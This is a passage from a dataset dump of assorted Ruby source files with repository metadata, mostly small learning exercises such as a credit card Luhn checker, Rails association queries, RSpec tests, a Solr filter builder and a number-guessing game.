Net::IMAP.new(SOURCE_HOST, SOURCE_PORT, SOURCE_SSL)\n\n # puts 'Logging in...'\n source.login(SOURCE_USER, SOURCE_PASS)\n\n # Open All Mail folder in read-only mode.\n begin\n source.examine(FOLDER)\n rescue => e\n puts \"Error: select failed: #{e}\"\n end\n\n # Loop through all messages in the source folder.\n #uids = source.uid_search(['ALL'])\n uids = source.uid_search(['SINCE', $date_start, 'BEFORE', $date_end])\n\n\n # puts \"Found #{uids.length} messages\"\n\n if uids.length > 0\n uid_fetch_block(source, uids, ['UID', 'ENVELOPE', 'FLAGS', 'INTERNALDATE']) do |msg|\n # puts msg.seqno\n # puts msg_to_json(msg)\n insert_msg( msg_to_json(msg) )\n $synced += 1\n end\n end\n\n source.close\n # puts \"Finished. Message counts: #{$synced} copied to db\"\nend\n\n## Setup\nif ARGV.length < 2\n puts \"Usage: ruby email2db.rb gmail_username gmail_password\"\n exit\nend\n\nSOURCE_USER = ARGV[0]\nSOURCE_PASS = ARGV[1]\ninit_mongo()\nrun()"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1176,"cells":{"blob_id":{"kind":"string","value":"eca121c3214cd03a1da28405d6a4c141f905f9b3"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"ckaminer/api_curious"},"path":{"kind":"string","value":"/app/models/geocoding.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":218,"string":"218"},"score":{"kind":"number","value":2.609375,"string":"2.609375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class Geocoding < OpenStruct\n\n def self.service\n @@service ||= GeocodingService.new\n end\n\n def self.retrieve(lat, lng)\n address = service.get_address(lat, lng)\n Geocoding.new({address: address})\n end\n\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1177,"cells":{"blob_id":{"kind":"string","value":"679bb42749ef2356cf4de85ac604e3b7c5d8cdfc"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"Berlinta/ruby-object-attributes-lab-online-web-pt-021119"},"path":{"kind":"string","value":"/lib/dog.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":240,"string":"240"},"score":{"kind":"number","value":3.265625,"string":"3.265625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class Dog\n def name=(new_pup)\n @name = new_pup\n end\n \n def name\n @name\n end\n \n def breed=(new_kind)\n @breed = new_kind\n end\n \n def breed\n @breed\n end\nend\n\nfido = Dog.new\nfido.name = \"Fido\"\n\nsnoopy = Dog.new\nsnoopy.breed = \"Beagle\""},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1178,"cells":{"blob_id":{"kind":"string","value":"30c515404f4c17dd6c5f26600e32aa79b85ff8ee"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"arpodol/ruby_small_problems"},"path":{"kind":"string","value":"/easy7/lettercase_counter.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":680,"string":"680"},"score":{"kind":"number","value":3.78125,"string":"3.78125"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"def letter_case_count(string)\n results_hash = {:lowercase => 0, :uppercase => 0, :neither => 0}\n string_array = string.split('')\n string_array.each do |character|\n if !!(character =~ /[a-z]/)\n results_hash[:lowercase] +=1\n elsif !!(character =~ /[A-Z]/)\n results_hash[:uppercase] +=1\n else\n results_hash[:neither] +=1\n end\n end\n results_hash\nend\n\np letter_case_count('abCdef 123') == { lowercase: 5, uppercase: 1, neither: 4 }\np letter_case_count('AbCd +Ef') == { lowercase: 3, uppercase: 3, neither: 2 }\np letter_case_count('123') == { lowercase: 0, uppercase: 0, neither: 3 }\np letter_case_count('') == { lowercase: 0, uppercase: 0, neither: 0 }\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1179,"cells":{"blob_id":{"kind":"string","value":"fd54261e6f18afe82c68551e355f30d6b9f27cfe"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"ardenzhan/dojo-ruby"},"path":{"kind":"string","value":"/arden_zhan/rails/blogs/queries.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2735,"string":"2,735"},"score":{"kind":"number","value":2.8125,"string":"2.8125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"# Have the first 3 blogs be owned by the first user\nUser.first.update(blogs: Blog.where(\"id <= 3\"))\n\n# Have the 4th blog you create be owned by the second user\nBlog.fourth.owners.create!(user: User.second)\n\n# Have the 5th blog you create be owned by the last user\nBlog.fifth.owners.create!(user: User.last)\n\n# Have the third user own all of the blogs that were created.\nUser.third.update(blogs: Blog.all)\n\n# Have the first user create 3 posts for the blog with an id of 2. \n# BAD: Post.create(user: User.first, blog_id: 2)\n# GOOD: Post.create(user: User.first, blog: Blog.find(2)). \n# Again, you should never reference the foreign key in Rails\nUser.first.posts.create!(title: \"Title\", content: \"Content\", blog: Blog.find(2))\n\n# Have the second user create 5 posts for the last Blog.\nUser.second.posts.create!(blog: Blog.last, title: \"Title\", content: \"Content\")\n\n# Have the 3rd user create several posts for different blogs.\nUser.third.posts.create!(blog: Blog.third, title: \"Title\", content: \"content\")\n\n# Have the 3rd user create 2 messages for the first post created and 3 messages for the second post created\nUser.third.messages.create!(post: Post.first, message: \"Message\")\nUser.third.messages.create!(post: Post.second, message: \"Message\")\n\n# Have the 4th user create 3 messages for the last post you created.\nUser.fourth.messages.create!(post: Post.last, message: \"message\")\n\n# Change the owner of the 2nd post to the last user.\nPost.second.update(user: User.last)\n\n# Change the 2nd post's content to be something else.\nPost.second.update(content: \"some other content\")\n\n# Retrieve all blogs owned by the 3rd user (make this work by simply doing: User.find(3).blogs).\nUser.third.blogs\n\n# Retrieve all posts that were created by the 3rd user\nUser.third.posts\n\n# Retrieve all messages left by the 3rd user\nUser.third.messages\nMessage.joins(:user).where(\"users.id = 3\")\n\n# Retrieve all posts associated with the blog id 5 as well as who left these posts.\nBlog.find(5).posts.joins(:user).select(\"posts.*\", \"users.*\")\nPost.joins(:user, :blog).where(\"blogs.id = 5\").select(\"posts.*\", \"users.*\")\n\n# Retrieve all messages associated with the blog id 5 along with all the user information of those who left the messages\nMessage.joins(:user).where(post: Blog.find(5).posts).select(\"messages.*\", \"users.first_name\", \"users.last_name\")\n\n# Grab all user information of those that own the first blog (make this work by allowing Blog.first.owners to work).\nBlog.first.owners.joins(:user).select(\"owners.*\", \"users.*\")\nBlog.first.users\n\n# Change it so that the first blog is no longer owned by the first user.\nOwner.joins(:blog, :user).find_by(\"blogs.id = 1 AND users.id = 1\").destroy #1 load\nBlog.find(1).users.destroy(User.find(1)) #3 loads\n\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1180,"cells":{"blob_id":{"kind":"string","value":"b224e6afdc7106ea9137dbea1d7425b4972ecb71"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"BeerBatteredCode/week_02"},"path":{"kind":"string","value":"/day_01/specs/library-spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":661,"string":"661"},"score":{"kind":"number","value":2.828125,"string":"2.828125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require('minitest/autorun')\nrequire('minitest/rg')\nrequire_relative('../library')\n\nclass TestLibrary < Minitest::Test\n def setup\n @library = Library.new()\n @book = {\n title: \"lord_of_the_rings\",\n rental_details: {\n student_name: \"Jeff\",\n date: \"01/12/16\"\n }\n }\n @library.books.push(@book)\n end\n\n def test_get_all_details\n book_found = @library.get_all_details(\"lord_of_the_rings\")\n assert_equal(book_found[:title], \"lord_of_the_rings\")\n end\n\n def test_get_rental_details\n rental_detail = @library.get_all_rental_details(\"lord_of_the_rings\")\n assert_equal(rental_detail == nil, false )\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1181,"cells":{"blob_id":{"kind":"string","value":"2f865a5c170bece897a7a6d5f4f33e08066f3c35"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"rockcoolsaint/depot_in_rails"},"path":{"kind":"string","value":"/app/models/user.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1075,"string":"1,075"},"score":{"kind":"number","value":2.59375,"string":"2.59375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class User < ActiveRecord::Base\n\trequire 'digest/sha2'\n\n\tattr_accessor :password\n\t#attr_reader :password\n\n\tvalidates :name, presence: true, uniqueness: true\n\n\tvalidates :password, presence: true, confirmation: true\n\n\t#validate :password_must_be_present\n\n\tbefore_save :encrypt_password\n\tafter_destroy :ensure_an_admin_remains\n\n\tdef self.authenticate(name, password)\n\t\tuser = find_by_name(name)\n\t\treturn user if user && user.authenticated?(password)\n\tend\n\n\tdef authenticated?(password)\n\t\tself.hashed_password == encrypt(password)\n\tend\n\n\tdef ensure_an_admin_remains\n\t\tif User.count.zero?\n\t\t\traise \"Can't delete last user\"\n\t\tend\n\tend\n\n\tprivate\n\n\t\tdef password_must_be_present\n\t\t\terrors.add(:password, \"Missing password\") unless hashed_password.present?\n\t\tend\n\n\t\tdef encrypt_password\n\t\t\tself.salt = generate_salt if new_record?\n\t\t\tself.hashed_password = encrypt(password)\n\t\tend\n\n\t\tdef encrypt(string)\n\t\t\tsecure_hash(\"#{string}\")\n\t\tend\n\n\t\tdef generate_salt\n\t\t\tself.salt = self.object_id.to_s + rand.to_s\n\t\tend\n\n\t\tdef secure_hash(string)\n\t\t\tDigest::SHA2.hexdigest(string)\n\t\tend\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1182,"cells":{"blob_id":{"kind":"string","value":"441ab1168611f2dae93767ec31c85283ec84ae6a"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"wildkain/simple_rack_time"},"path":{"kind":"string","value":"/time_formatter.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":886,"string":"886"},"score":{"kind":"number","value":3.046875,"string":"3.046875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"class TimeFormatter\n TIME_FORMAT = { \"year\" => \"%Y\", \"month\" => \"%m\", \"day\" => \"%d\",\n \"hour\" => \"%H h\", \"minute\" => \"%M m\", \"second\" => \"%S s\" }.freeze\n\n attr_accessor :status, :body\n\n def initialize(query_string)\n @query_string = query_string\n @true_format = []\n @unknown_format = []\n query_to_time_format\n response\n end\n\n def query_to_time_format\n time_query = Rack::Utils.parse_nested_query(@query_string)['format'].split(',')\n\n time_query.each do |time|\n if TIME_FORMAT.has_key?(time)\n @true_format << TIME_FORMAT[time]\n else\n @unknown_format << time\n end\n end\n end\n\n def response\n if @unknown_format.empty?\n self.status = 200\n self.body = Time.now.strftime(@true_format.join(\"-\"))\n else\n self.status = 400\n self.body = \"Unknown time format #{@unknown_format}\"\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1183,"cells":{"blob_id":{"kind":"string","value":"bc2e26f66455abee9c1eadaa76604ebccf0ac7d9"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"ZABarton/phase-0"},"path":{"kind":"string","value":"/week-6/credit-card/my_solution.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":4812,"string":"4,812"},"score":{"kind":"number","value":4.34375,"string":"4.34375"},"int_score":{"kind":"number","value":4,"string":"4"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"# Pseudocode\n\n# Input: A 16 digit credit card number\n# Output: True or false (depending on if credit card number is valid or not)\n# Steps:\n# \n# Define CC Class\n#\n# Define the initialize method:\n# Raise an argument error if CC# is not a 16 digit integer\n# \tTake the argument passed into the init method and create a 16-element array\n# Explicitly convert integer to string for this split method\n# \t\tEach element equals a single digit of the CC#\n# Create instance variable with the array \n# \n# Define a math method:\n# \tDouble the even indexes of our array (destructively)\n# \tIterate through the array to find and split two-digit numbers into one-digit numbers\n#\t\tExplicitly convert the even indexes to integers for the math, then put as strings for future use\n# \tSplit two digit STRINGS into two one-digit STRINGS and convert all to integers\n# Sum all elements of the array\n#\tAssign this sum to a new instance variable\n\n# Define a check_card method:\t\n# Take our sum instance variable modulo 10\n# If 0, true\n# If not zero, false\n\n# Initial Solution\n\n# Don't forget to check on initialization for a card length\n# of exactly 16 digits\n\n# class CreditCard\n# \tdef initialize(number)\n# \t\tunless number.to_s.length == 16 && number.is_a?(Integer)\n# \t\t\traise ArgumentError.new(\"Credit Card number needs to be a 16-digit integer\")\n# \t\tend\n# \t\t@number = number.to_s.split(\"\")\n# \tend\n\n# \tdef math\n# \t\tevens = @number.select.each_with_index { |x,y| y.even? }\n# \t\todds = @number.select.each_with_index { |x,y| y.odd? }\n# \t\tevens.map! { |x| x.to_i * 2 }\t\t\n# \t\tevens.map! { |x| x.to_s.split(\"\")}\n# \t\t@number = evens.flatten + odds\n# \t\t@number.map! { |x| x.to_i }\n# \t\t@sum = @number.inject { |total, object| total + object}\n# \t\tputs @sum\n# \tend\n\n# \tdef check_card\n# \t\tmath\n# \t\t@sum % 10 == 0 ? (return true) : (return false)\n# \tend\n# end\n\n# cardnumber = CreditCard.new(1203018346571839)\n# cardnumber\n\n# Refactored Solution\n\nclass CreditCard\n\tdef initialize(number)\n\t\tunless number.to_s.length == 16 && number.is_a?(Integer)\n\t\t\traise ArgumentError.new(\"Credit Card Number needs to be a 16-digit integer\")\n\t\tend\n\t\t@number = number.to_s.split(\"\")\n\tend\n\n\tdef math\n\t\tsplit = @number.partition.each_with_index { |digit, index| index.even? }\n\t\tsplit[0].map! { |number| (number.to_i * 2).divmod(10) }\n\t\tsplit[1].map! { |number| number.to_i }\n\t\t@sum = split.flatten.inject {|total, digits| total + digits }\n\tend\n\n\tdef check_card\n\t\tmath\n\t\t@sum % 10 == 0 ? (return true) : (return false)\n\tend\nend\n\n=begin\nREFLECTIONS\n\nWhat was the most difficult part of this challenge for you and your pair?\n\n\tHonestly, I think the hardest part of this challenge was managing all the transfers of strings\n\tto integers and vice versa. We knew exactly what we wanted to do, and did a great job writing out\n\tthe pseudocode, but our .to_s and .to_i methods didn't always work how we intended them to. It took\n\tsome testing in IRB to figure out where the methods weren't working. However, we did learn a lot\n\tabout debugging in IRB so it was a good experience!\n\nWhat new methods did you find to help you when you refactored?\n\n\tThis part of the challenge was great. We looked through the docs for anything that could help, and\n\tcame up with some new methods that simplified our code greatly. The partition method was a fantastic way\n\tto separate the numbers we wanted to double from the numbers we wanted to leave alone. We used the\n\tpartition method to catch all of the even indexed numbers in the initial credit card array, and put them\n\tin their own nested array. That way, we could map over that array while leaving the other digits alone.\n\tThe other big discovery was the divmod solution. Divmod returns an array of two digits, the first being the\n\tquotient, and the second being the remainder. So if you have a two digit number and you apply the divmod(10)\n\tmethod, you will receive an array with the two digits separated into an array. This made our summation code\n\teasier because all we had to do was flatten the entire array and sum up all the numbers.\n\nWhat concepts or learnings were you able to solidify in this challenge?\n\n\tOne thing we got some practice with was learning the order of operations in calling methods in a chain.\n\tThis gave us some issues applying the .to_s and .to_i methods. We were able to learn from this by writing\n\tthe code in long-form first - one method per line. Then, we could refactor later by combining the methods into\n\ta single line. We also practiced testing the code in IRB by using the load command and running the driver code in\n\tIRB. This was very helpful for debugging because you can see exactly what is being returned and if it's what\n\twas expected. This helped us solve the inital problem faster because we could pinpoint the exact problems\n\tdue to seeing the returned values of the methods.\n\n=end\n\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1184,"cells":{"blob_id":{"kind":"string","value":"8ab76ab96588364183b6b949845f5a37a4848406"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"machinio/solrb"},"path":{"kind":"string","value":"/lib/solr/query/request/filter.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":1810,"string":"1,810"},"score":{"kind":"number","value":2.765625,"string":"2.765625"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"text":{"kind":"string","value":"require 'date'\n\nmodule Solr\n module Query\n class Request\n class Filter\n include Solr::Support::SchemaHelper\n using Solr::Support::StringExtensions\n\n EQUAL_TYPE = :equal\n NOT_EQUAL_TYPE = :not_equal\n attr_reader :type, :field, :value\n\n def initialize(type:, field:, value:)\n @type = type\n @field = field\n @value = value\n end\n\n def to_solr_s\n \"#{solr_prefix}#{solr_field}:(#{solr_value})\"\n end\n\n def solr_field\n solarize_field(@field)\n end\n\n def solr_value\n if value.is_a?(::Array)\n value.map { |v| to_primitive_solr_value(v) }.join(' OR ')\n elsif value.is_a?(::Range)\n to_interval_solr_value(value)\n else\n to_primitive_solr_value(value)\n end\n end\n\n private\n\n def solr_prefix\n '-' if NOT_EQUAL_TYPE == type\n end\n\n def to_interval_solr_value(range)\n solr_min = to_primitive_solr_value(range.first)\n solr_max = to_primitive_solr_value(range.last)\n \"[#{solr_min} TO #{solr_max}]\"\n end\n\n def to_primitive_solr_value(value)\n if date_infinity?(value) || numeric_infinity?(value)\n '*'\n elsif date_or_time?(value)\n value.strftime('%Y-%m-%dT%H:%M:%SZ')\n else\n %(\"#{value.to_s.solr_escape}\")\n end\n end\n\n def date_infinity?(value)\n value.is_a?(DateTime::Infinity)\n end\n\n def numeric_infinity?(value)\n value.is_a?(Numeric) && value.infinite?\n end\n\n def date_or_time?(value)\n return false unless value\n value.is_a?(::Date) || value.is_a?(::Time)\n end\n end\n end\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1185,"cells":{"blob_id":{"kind":"string","value":"152ea5c210f49e7f3c25cce0eb1bfeda2ca76514"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"yauralee/merchant-guide"},"path":{"kind":"string","value":"/spec/lib/calculator_spec.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2496,"string":"2,496"},"score":{"kind":"number","value":3.03125,"string":"3.03125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'parser/input_parser'\nrequire 'Calculator'\n\nRSpec.describe Calculator do\n let(:input_parser) {InputParser.new}\n let(:known_transactions) {input_parser.yaml_parser('resource/known_transactions.yml')}\n let(:symbols_attributes) {input_parser.yaml_parser('resource/latin_symbols_attributes.yml')}\n let(:calculator) {Calculator.new(known_transactions, symbols_attributes)}\n let(:questions) {input_parser.yaml_parser('resource/questions.yml')}\n describe '#initialize' do\n context 'with known transactions and symbols attributes' do\n it 'should return calculator instance with metal price as attribute' do\n metals_prices = {\"Silver\"=>17.0, \"Gold\"=>14450.0, \"Iron\"=>195.5}\n expect(Calculator.new(known_transactions, symbols_attributes).metals_prices).to eq(metals_prices)\n end\n end\n end\n\n describe '#calculate_results' do\n context 'with questions' do\n it 'should return result array' do\n result_array = [42, 68.0, 57800.0, 782.0, \"I have no idea what you are talking about\"]\n expect(Calculator.calculate_results(questions, symbols_attributes, known_transactions)).to eq(result_array)\n end\n end\n end\n\n describe '#symbols_to_value' do\n context 'when given symbol string' do\n it 'should return the value of the string' do\n symbol_string = 'MCMXLIV'\n expect(Calculator.symbols_to_value(symbol_string, symbols_attributes)).to eq(1944)\n end\n it 'should return the value of the string' do\n symbol_string = 'MMVI'\n expect(Calculator.symbols_to_value(symbol_string, symbols_attributes)).to eq(2006)\n end\n it 'should return the value of the string' do\n symbol_string = 'XLII'\n expect(Calculator.symbols_to_value(symbol_string, symbols_attributes)).to eq(42)\n end\n end\n end\n\n describe '#metal_total_price' do\n context 'when given metal and amount symbols' do\n it 'should return total price of this metal' do\n amountSymbols_and_metal = {'IV' => 'Silver'}\n expect(calculator.metal_total_price(amountSymbols_and_metal, symbols_attributes)).to eq(68)\n end\n end\n end\n\n describe '#have_no_idea' do\n context 'when product is not metal' do\n it 'should return have no idea' do\n product_and_condition = {'wood' => 'could a woodchuck chuck if a woodchuck could chuck wood'}\n expect(calculator.have_no_idea(product_and_condition)).to eq('I have no idea what you are talking about')\n end\n\n end\n\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1186,"cells":{"blob_id":{"kind":"string","value":"690f7919926d4426c53b95c0d2e61a5cdc946eb4"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"mi2zq/senju"},"path":{"kind":"string","value":"/lib/senju/credentials.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":351,"string":"351"},"score":{"kind":"number","value":2.59375,"string":"2.59375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'yaml'\nclass Senju::Credentials\n attr_reader :data\n def initialize(filepath = nil)\n filepath ||= Dir.home + '/.senju/credentials'\n @data = YAML.load_file(filepath)\n end\n\n def [](conf)\n @data[conf]\n end\nend\n\nclass Senju::Credential\n def self.all\n Senju::Credentials.new.data\n end\n\n def self.find(key)\n all[key]\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1187,"cells":{"blob_id":{"kind":"string","value":"829379e1ab5135601c310b046438ff3b1360529d"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"nhsykym/AOJ"},"path":{"kind":"string","value":"/ITP1_6_A.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":69,"string":"69"},"score":{"kind":"number","value":2.796875,"string":"2.796875"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"n = gets.to_i\narr = gets.split.map(&:to_i)\nputs arr.reverse.join(' ')"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1188,"cells":{"blob_id":{"kind":"string","value":"ad75528f9099f140fa4bef7475e3b2af96de8ca3"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"martinstreicher/laserbeam"},"path":{"kind":"string","value":"/lib/room.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2204,"string":"2,204"},"score":{"kind":"number","value":3.234375,"string":"3.234375"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"require 'hashie'\n\nclass Room\n LASER = '@'\n\n NoLaserException = Class.new Exception\n RoomDesignException = Class.new Exception\n InfiniteLoopException = Class.new Exception\n\n attr_accessor :grid, :laser, :optics\n\n def initialize(description)\n self.optics = to_optics to_rows(description)\n self.grid = to_room optics\n self.laser = find_laser\n\n grid.all? { |row| conform_to_size?(row) } or\n raise(RoomDesignException)\n end\n\n def fire\n laser or raise(NoLaserException)\n\n beam = Hashie::Mash.new\n beam.x = laser.x\n beam.y = laser.y\n\n previous_optics = []\n optic = laser\n hops = 0\n\n loop do\n hops += 1\n (beam.x, beam.y) = optic.effect(previous_optics[-1])\n\n break unless contained?(beam)\n previous_optics.push(optic)\n optic = grid[beam.x][beam.y]\n raise(InfiniteLoopException) if optic.visited_from?(previous_optics[-1])\n end\n\n hops\n end\n\n def height\n @height ||= optics.size\n end\n\n def width\n @width ||= optics.first.size\n end\n\n private\n\n def blank?(string)\n string.nil? || string.empty?\n end\n\n def conform_to_size?(row)\n (row.size == width) or puts(\"row #{row.map(&:to_s).join} is malformed.\")\n end\n\n def contained?(beam)\n (beam.x >= 0) && (beam.x < height) &&\n (beam.y >= 0) && (beam.y < width)\n end\n\n def find_laser\n grid.each_with_index do |row, row_index|\n column_index = row.find_index { |column| column.is_a?(Beam) }\n column_index and return(grid[row_index][column_index])\n end\n\n nil\n end\n\n def scrub(string)\n string.gsub(/\\s+/, '')\n end\n\n def to_optics(rows)\n rows.map { |row| row.chars }\n end\n\n def to_room(optics)\n Array.new.tap do |lab|\n optics.each_with_index do |row, row_index|\n row.each_with_index do |column, column_index|\n optic = optics[row_index][column_index]\n (lab[row_index] ||= [])[column_index] = OpticFactory.place(optic, row_index, column_index)\n end\n end\n end\n end\n\n def to_rows(description)\n description\n .split(\"\\n\")\n .map { |row| scrub row }\n .reject { |row| blank? row }\n end\nend\n"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1189,"cells":{"blob_id":{"kind":"string","value":"cfadb45ba577e0015e483aa6f8a99ff6edcc4423"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"PhilipTimofeyev/LaunchSchool"},"path":{"kind":"string","value":"/Intro_To_Programming/Ruby_Basics/Strings/String_Ex10.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":93,"string":"93"},"score":{"kind":"number","value":2.53125,"string":"2.53125"},"int_score":{"kind":"number","value":3,"string":"3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"colors = 'blue pink yellow orange'.split\n\ncolors.include?('yellow')\ncolors.include?('purple')"},"download_success":{"kind":"bool","value":true,"string":"true"}}},{"rowIdx":1190,"cells":{"blob_id":{"kind":"string","value":"39eff94295398e100557bfb1807e95720526af49"},"language":{"kind":"string","value":"Ruby"},"repo_name":{"kind":"string","value":"christianmacnamara/GA-Files"},"path":{"kind":"string","value":"/HW_04.rb"},"src_encoding":{"kind":"string","value":"UTF-8"},"length_bytes":{"kind":"number","value":2640,"string":"2,640"},"score":{"kind":"number","value":4.53125,"string":"4.53125"},"int_score":{"kind":"number","value":5,"string":"5"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"text":{"kind":"string","value":"###############################################################################\n#\n# Introduction to Ruby on Rails\n#\n# Lab 04\n#\n# Purpose:\n#\n# Read the steps below and complete the exercises in this file. This Lab\n# will help you to review the basics of Object-Oriented Programming that\n# we learned in Lesson 04.\n#\n###############################################################################\n#\n# 1. Review your solution to Lab 03. Copy and Paste your solution to\n# this file.\n#\n# 2. Create a new method called `increment_guess_count` that takes\n# an integer parameter and increments it by 1.\n#\n# 3. Create a new method called `guesses_left` that calculates how many guesses \n#\t out of 3 the Player has left. The method should take one parameter that is the \n#\t number of guesses the player has guessed so far. Use this new method in your \n#\t code to tell the user how many guesses they have remaining. \n#\n# 4. Make sure to remove your local variable `guesses_left` and use the\n# new method instead.\n#\n# 5. Make sure to comment your code so that you have appropriate\n# documentation for you and for the TAs grading your homework. :-)\n#\n###############################################################################\n#\n# Student's Solution\n#\n###############################################################################\\\n\nset_of_numbers = [ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 ]\n\nsecret_number = set_of_numbers.sample\n\nmessages = Hash.new\n\nmessages[:win] = [ \"Congratulations - You've won!\" ]\nmessages[:lose] = [ \"Sorry - You guessed wrong. The correct answer is #{secret_number}\" ]\nmessages[:too_low] = [ \"Sorry - Your guess was too low\"]\nmessages[:too_high] = [ \"Sorry - Your guess was too high\"]\n\n@current_guess_count = 0\n\ndef guesses_left\n\t3 - @current_guess_count\nend\n\ndef increment_guess_count\n\t@current_guess_count += 1\nend\n\nfirst = \"Christian\"\nlast = \"MacNamara\"\n\nputs \"\\nWelcome to the secret number game, created by #{first} #{last}\"\n\nputs \"\\nType your name:\"\n\ninput_name = $stdin.gets.chomp\n\nname = \"#{input_name}\"\n\nputs \"\\nHi #{name}! You have 3 guesses to guess the Secret Number between 1 and 10.\"\n\n3.times do |count|\n\tputs \"\\nYou have #{ guesses_left } guesses left!\"\n\tputs \"Guess a number between 1 and 10:\"\n\tguess_number = $stdin.gets.strip.to_i\n\tif guess_number == secret_number\n\t\tputs messages [:win]\n\t\tputs \"You got it in #{@current_guess_count} turns\"\n\t\texit\n\telsif guess_number < secret_number\n\t\tincrement_guess_count\n\t\tputs messages[:too_low]\n\telsif guess_number > secret_number \n\t\tincrement_guess_count\n\t\tputs messages[:too_high]\n\tend\nend\n\nputs messages[:lose]\nputs \"The secret number was 